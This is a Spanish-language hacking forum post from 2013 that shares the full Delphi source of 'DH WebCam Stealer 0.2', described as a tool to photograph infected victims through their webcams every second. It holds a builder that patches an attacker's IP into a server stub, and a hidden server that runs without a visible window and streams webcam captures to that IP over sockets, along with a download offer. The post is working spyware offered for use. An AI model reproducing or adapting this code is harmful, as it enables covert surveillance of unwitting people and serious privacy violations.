comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] DH WebCam Stealer 0.2

  • 0 Respuestas
  • 2131 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Noviembre 29, 2013, 10:44:00 am »
Un simple programa para capturar fotos cada 1 segundo de la webcam en la maquina de la persona que infecten.

Una imagen :



Código: Delphi
  1. // DH WebCam Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit webcam;
  8.  
  9. interface
  10.  
  11. uses
  12.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.   Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton,
  14.   sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg;
  15.  
  16. type
  17.   TForm1 = class(TForm)
  18.     sSkinManager1: TsSkinManager;
  19.     Image3: TImage;
  20.     sPageControl1: TsPageControl;
  21.     sTabSheet1: TsTabSheet;
  22.     sGroupBox2: TsGroupBox;
  23.     sGroupBox6: TsGroupBox;
  24.     sEdit1: TsEdit;
  25.     sGroupBox7: TsGroupBox;
  26.     sButton3: TsButton;
  27.     sTabSheet2: TsTabSheet;
  28.     sGroupBox3: TsGroupBox;
  29.     sGroupBox4: TsGroupBox;
  30.     sRadioButton1: TsRadioButton;
  31.     sRadioButton2: TsRadioButton;
  32.     sGroupBox5: TsGroupBox;
  33.     sButton1: TsButton;
  34.     sButton2: TsButton;
  35.     sTabSheet3: TsTabSheet;
  36.     sGroupBox1: TsGroupBox;
  37.     Image1: TImage;
  38.     sTabSheet4: TsTabSheet;
  39.     Image2: TImage;
  40.     sLabel1: TsLabel;
  41.     sStatusBar1: TsStatusBar;
  42.     Timer1: TTimer;
  43.     Timer2: TTimer;
  44.     ServerSocket1: TServerSocket;
  45.     ServerSocket2: TServerSocket;
  46.     procedure sButton1Click(Sender: TObject);
  47.     procedure sButton2Click(Sender: TObject);
  48.     procedure sButton3Click(Sender: TObject);
  49.     procedure FormCreate(Sender: TObject);
  50.     procedure ServerSocket1ClientRead(Sender: TObject;
  51.       Socket: TCustomWinSocket);
  52.     procedure ServerSocket2ClientRead(Sender: TObject;
  53.       Socket: TCustomWinSocket);
  54.     procedure Timer1Timer(Sender: TObject);
  55.     procedure Timer2Timer(Sender: TObject);
  56.   private
  57.     { Private declarations }
  58.  
  59.     conexion: TFileStream;
  60.     control: integer;
  61.  
  62.   public
  63.     { Public declarations }
  64.   end;
  65.  
  66. var
  67.   Form1: TForm1;
  68.   cantidad: string;
  69.  
  70. implementation
  71.  
  72. uses full;
  73. {$R *.dfm}
  74. // Functions
  75.  
  76. function dhencode(texto, opcion: string): string;
  77. // Thanks to Taqyon
  78. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  79. var
  80.   num: integer;
  81.   aca: string;
  82.   cantidad: integer;
  83.  
  84. begin
  85.  
  86.   num := 0;
  87.   Result := '';
  88.   aca := '';
  89.   cantidad := 0;
  90.  
  91.   if (opcion = 'encode') then
  92.   begin
  93.     cantidad := length(texto);
  94.     for num := 1 to cantidad do
  95.     begin
  96.       aca := IntToHex(ord(texto[num]), 2);
  97.       Result := Result + aca;
  98.     end;
  99.   end;
  100.  
  101.   if (opcion = 'decode') then
  102.   begin
  103.     cantidad := length(texto);
  104.     for num := 1 to cantidad div 2 do
  105.     begin
  106.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  107.       Result := Result + aca;
  108.     end;
  109.   end;
  110.  
  111. end;
  112.  
  113. procedure achicar(archivo, medir1, medir2: string);
  114.  
  115. // Credits  :
  116. // Based on : http://www.delphidabbler.com/tips/99
  117. // Thanks to www.delphidabbler.com
  118.  
  119. var
  120.   bit3: Double;
  121.   bit2: TJpegImage;
  122.   bit1: TBitmap;
  123.  
  124. begin
  125.  
  126.   try
  127.     begin
  128.  
  129.       bit2 := TJpegImage.Create;
  130.  
  131.       bit2.Loadfromfile(archivo);
  132.  
  133.       if bit2.Height > bit2.Width then
  134.       begin
  135.         bit3 := StrToInt(medir1) / bit2.Height
  136.       end
  137.       else
  138.       begin
  139.         bit3 := StrToInt(medir2) / bit2.Width;
  140.       end;
  141.  
  142.       bit1 := TBitmap.Create;
  143.  
  144.       bit1.Width := Round(bit2.Width * bit3);
  145.       bit1.Height := Round(bit2.Height * bit3);
  146.       bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
  147.  
  148.       bit2.Assign(bit1);
  149.  
  150.       bit2.SaveToFile(archivo);
  151.  
  152.     end;
  153.   except
  154.     //
  155.   end;
  156.  
  157. end;
  158. //
  159.  
  160. procedure TForm1.FormCreate(Sender: TObject);
  161. begin
  162.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  163.   sSkinManager1.SkinName := 'garnet';
  164.   sSkinManager1.Active := True;
  165. end;
  166.  
  167. procedure TForm1.sButton1Click(Sender: TObject);
  168.  
  169. begin
  170.   try
  171.     begin
  172.       ServerSocket1.Open;
  173.  
  174.       sStatusBar1.Panels[0].Text := '[+] Online';
  175.       Form1.sStatusBar1.Update;
  176.     end;
  177.   except
  178.     begin
  179.       sStatusBar1.Panels[0].Text := '[-] Error';
  180.       Form1.sStatusBar1.Update;
  181.     end;
  182.   end;
  183.  
  184. end;
  185.  
  186. procedure TForm1.sButton2Click(Sender: TObject);
  187. begin
  188.   try
  189.     begin
  190.       ServerSocket1.Close;
  191.       sStatusBar1.Panels[0].Text := '[+] OffLine';
  192.       Form1.sStatusBar1.Update;
  193.     end;
  194.   except
  195.     begin
  196.       sStatusBar1.Panels[0].Text := '[-] Error';
  197.       Form1.sStatusBar1.Update;
  198.     end;
  199.   end;
  200. end;
  201.  
  202. procedure TForm1.sButton3Click(Sender: TObject);
  203. var
  204.   aca: THandle;
  205.   code: Array [0 .. 9999 + 1] of Char;
  206.   nose: DWORD;
  207.   stubgenerado: string;
  208.   lineafinal: string;
  209.   linea: string;
  210. begin
  211.  
  212.   aca := INVALID_HANDLE_VALUE;
  213.   nose := 0;
  214.  
  215.   stubgenerado := 'stealer_ready.exe';
  216.  
  217.   linea := '[ip]' + sEdit1.Text + '[ip]';
  218.   lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
  219.  
  220.   DeleteFile(stubgenerado);
  221.   CopyFile(PChar(ExtractFilePath(Application.ExeName)
  222.         + '/' + 'Data/servernow.exe'), PChar
  223.       (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  224.  
  225.   StrCopy(code, PChar(lineafinal));
  226.   aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
  227.     nil, OPEN_EXISTING, 0, 0);
  228.   if (aca <> INVALID_HANDLE_VALUE) then
  229.   begin
  230.     SetFilePointer(aca, 0, nil, FILE_END);
  231.     WriteFile(aca, code, 9999, nose, nil);
  232.     CloseHandle(aca);
  233.   end;
  234.  
  235.   sStatusBar1.Panels[0].Text := '[+] Done';
  236.   Form1.sStatusBar1.Update;
  237.  
  238. end;
  239.  
  240. procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  241.   Socket: TCustomWinSocket);
  242. var
  243.   contenido: string;
  244.  
  245. begin
  246.  
  247.   contenido := Socket.ReceiveText;
  248.  
  249.   if (Pos('0x3archivo', contenido) > 0) then
  250.   begin
  251.     conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
  252.       fmCREATE or fmOPENWRITE and fmsharedenywrite);
  253.  
  254.     ServerSocket2.Open;
  255.  
  256.   end
  257.   else
  258.   begin
  259.     if (Pos('0x3acantid', contenido) > 0) then
  260.     begin
  261.       cantidad := Copy(contenido, 11, length(contenido));
  262.     end;
  263.   end;
  264. end;
  265.  
  266. procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  267.   Socket: TCustomWinSocket);
  268. var
  269.   data: array [0 .. 9999] of Char;
  270.   otracantidad: integer;
  271.  
  272. begin
  273.  
  274.   Timer1.Enabled := True;
  275.  
  276.   while Socket.ReceiveLength > 0 do
  277.  
  278.   begin
  279.  
  280.     otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
  281.  
  282.     if otracantidad <= 0 then
  283.     begin
  284.       Break;
  285.     end
  286.     else
  287.     begin
  288.       conexion.Write(data, otracantidad);
  289.     end;
  290.  
  291.     if conexion.Size >= StrToInt(cantidad) then
  292.  
  293.     begin
  294.  
  295.       conexion.Free;
  296.  
  297.       Timer1.Enabled := False;
  298.  
  299.       control := 0;
  300.  
  301.       Break;
  302.  
  303.     end;
  304.   end;
  305. end;
  306.  
  307. procedure TForm1.Timer1Timer(Sender: TObject);
  308. begin
  309.   control := 1;
  310. end;
  311.  
  312. procedure TForm1.Timer2Timer(Sender: TObject);
  313. begin
  314.  
  315.   try
  316.     begin
  317.       if ServerSocket1.Active = True then
  318.       begin
  319.         if FileExists('screen.jpg') then
  320.         begin
  321.  
  322.           if (sRadioButton1.Checked) then
  323.           begin
  324.             achicar('screen.jpg', '400', '400');
  325.             Image1.Picture.Loadfromfile('screen.jpg');
  326.           end
  327.           else
  328.           begin
  329.             Form2.Show;
  330.             achicar('screen.jpg', '1000', '1000');
  331.             Form2.Image1.Picture.Loadfromfile('screen.jpg');
  332.           end;
  333.         end;
  334.       end;
  335.     end;
  336.   except
  337.     //
  338.   end;
  339. end;
  340.  
  341. end.
  342.  
  343. // The End ?
  344.  

El servidor.

Código: Delphi
  1. // DH WebCam Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit server;
  8.  
  9. interface
  10.  
  11. uses
  12.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.   Dialogs, ExtCtrls, ScktComp, Jpeg;
  14.  
  15. type
  16.   TForm1 = class(TForm)
  17.     ClientSocket1: TClientSocket;
  18.     ClientSocket2: TClientSocket;
  19.     Timer1: TTimer;
  20.     Image1: TImage;
  21.     procedure Timer1Timer(Sender: TObject);
  22.     procedure FormCreate(Sender: TObject);
  23.     procedure capturar_webcam(filename: string);
  24.   private
  25.     { Private declarations }
  26.   public
  27.     { Public declarations }
  28.   end;
  29.  
  30. var
  31.   Form1: TForm1;
  32.   target: string;
  33.   webcam: hwnd;
  34.  
  35. const
  36.  
  37.   control = WM_USER;
  38.   conec = control + 10;
  39.   conec2 = control + 52;
  40.   conec3 = control + 50;
  41.   conec4 = control + 25;
  42.   chau = control + 11;
  43.  
  44. implementation
  45.  
  46. FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer;
  47.   cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer)
  48.   : hwnd;
  49. STDCALL EXTERNAL 'AVICAP32.DLL';
  50. {$R *.dfm}
  51. // Functions
  52.  
  53.   procedure TForm1.capturar_webcam(filename: string);
  54.  
  55.   // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
  56.   // Thanks to Javier Par
  57.  
  58.   var
  59.     imagen1: TBitmap;
  60.     imagen2: TJpegImage;
  61.  
  62.   begin
  63.  
  64.     try
  65.       begin
  66.  
  67.         DeleteFile('1.bmp');
  68.         DeleteFile('1');
  69.         DeleteFile(filename);
  70.  
  71.         webcam := capCreateCaptureWindowA
  72.           ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top,
  73.           Image1.Width, Image1.Height, Form1.Handle, 0);
  74.  
  75.         if not(webcam = 0) then
  76.         begin
  77.  
  78.           SendMessage(webcam, conec, 0, 0);
  79.           SendMessage(webcam, conec2, 40, 0);
  80.           SendMessage(webcam, conec3, 1, 0);
  81.           SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp')));
  82.           SendMessage(webcam, chau, 0, 0);
  83.           webcam := 0;
  84.  
  85.           RenameFile('1', '1.bmp');
  86.  
  87.           imagen1 := TBitmap.Create;
  88.           imagen1.LoadFromFile('1.bmp');
  89.  
  90.           imagen2 := TJpegImage.Create;
  91.           imagen2.Assign(imagen1);
  92.           imagen2.CompressionQuality := 100;
  93.           imagen2.SaveToFile(filename);
  94.  
  95.           DeleteFile('1');
  96.           DeleteFile('1.bmp');
  97.  
  98.         end;
  99.  
  100.         imagen1.Free;
  101.         imagen2.Free;
  102.  
  103.       end;
  104.     except
  105.       //
  106.     end;
  107.  
  108.   end;
  109.  
  110.   function regex(text: String; deaca: String; hastaaca: String): String;
  111.   begin
  112.     Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  113.     SetLength(text, AnsiPos(hastaaca, text) - 1);
  114.     Result := text;
  115.   end;
  116.  
  117.   function dhencode(texto, opcion: string): string;
  118.   // Thanks to Taqyon
  119.   // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  120.   var
  121.     num: integer;
  122.     aca: string;
  123.     cantidad: integer;
  124.  
  125.   begin
  126.  
  127.     num := 0;
  128.     Result := '';
  129.     aca := '';
  130.     cantidad := 0;
  131.  
  132.     if (opcion = 'encode') then
  133.     begin
  134.       cantidad := Length(texto);
  135.       for num := 1 to cantidad do
  136.       begin
  137.         aca := IntToHex(ord(texto[num]), 2);
  138.         Result := Result + aca;
  139.       end;
  140.     end;
  141.  
  142.     if (opcion = 'decode') then
  143.     begin
  144.       cantidad := Length(texto);
  145.       for num := 1 to cantidad div 2 do
  146.       begin
  147.         aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  148.         Result := Result + aca;
  149.       end;
  150.     end;
  151.  
  152.   end;
  153.  
  154.   procedure TForm1.FormCreate(Sender: TObject);
  155.  
  156.   var
  157.     ob: THandle;
  158.     code: Array [0 .. 9999 + 1] of Char;
  159.     nose: DWORD;
  160.     todo: string;
  161.  
  162.   begin
  163.  
  164.     Application.ShowMainForm := False;
  165.  
  166.     ob := INVALID_HANDLE_VALUE;
  167.     code := '';
  168.  
  169.     ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  170.       OPEN_EXISTING, 0, 0);
  171.     if (ob <> INVALID_HANDLE_VALUE) then
  172.     begin
  173.       SetFilePointer(ob, -9999, nil, FILE_END);
  174.       ReadFile(ob, code, 9999, nose, nil);
  175.       CloseHandle(ob);
  176.     end;
  177.  
  178.     todo := regex(code, '[63686175]', '[63686175]');
  179.     todo := dhencode(todo, 'decode');
  180.  
  181.     target := regex(todo, '[ip]', '[ip]');
  182.  
  183.     try
  184.       begin
  185.         ClientSocket1.Address := target;
  186.         ClientSocket1.Open;
  187.       end;
  188.     except
  189.       //
  190.     end;
  191.  
  192.   end;
  193.  
  194.   procedure TForm1.Timer1Timer(Sender: TObject);
  195.   var
  196.     archivo: string;
  197.     envio: TFileStream;
  198.     dir: string;
  199.  
  200.   begin
  201.  
  202.     try
  203.       begin
  204.  
  205.         if ClientSocket1.Active = True then
  206.  
  207.         begin
  208.           dir := GetEnvironmentVariable('USERPROFILE') + '\';
  209.  
  210.           chdir(dir);
  211.  
  212.           if (FileExists('screen.jpg')) then
  213.           begin
  214.             DeleteFile('screen.jpg');
  215.           end;
  216.  
  217.           capturar_webcam('screen.jpg');
  218.  
  219.           archivo := dir + 'screen.jpg';
  220.  
  221.           try
  222.             begin
  223.               ClientSocket1.Socket.SendText
  224.                 ('0x3archivo' + ExtractFileName(archivo));
  225.               envio := TFileStream.Create(archivo, fmopenread);
  226.  
  227.               sleep(500);
  228.  
  229.               ClientSocket1.Socket.SendText
  230.                 ('0x3acantid' + IntToStr(envio.Size));
  231.  
  232.               envio.Free;
  233.  
  234.               ClientSocket2.Address := target;
  235.               ClientSocket2.Open;
  236.  
  237.               ClientSocket2.Socket.SendStream
  238.                 (TFileStream.Create(archivo, fmopenread));
  239.             end;
  240.           except
  241.             //
  242.           end;
  243.         end;
  244.       end;
  245.     except
  246.       //
  247.     end;
  248.  
  249.   end;
  250.  
  251. end.
  252.  
  253. // The End ?
  254.  

Si lo quieren bajar lo pueden hacer de aca.

 

¿Te gustó el post? COMPARTILO!



Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3259
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2050
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3490
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 1
Vistas: 1477
Último mensaje Marzo 09, 2015, 07:56:20 pm
por Flemon
[Delphi] Project Arsenal X 0.2 (Regalo de navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 2922
Último mensaje Diciembre 28, 2015, 10:27:44 am
por BigBear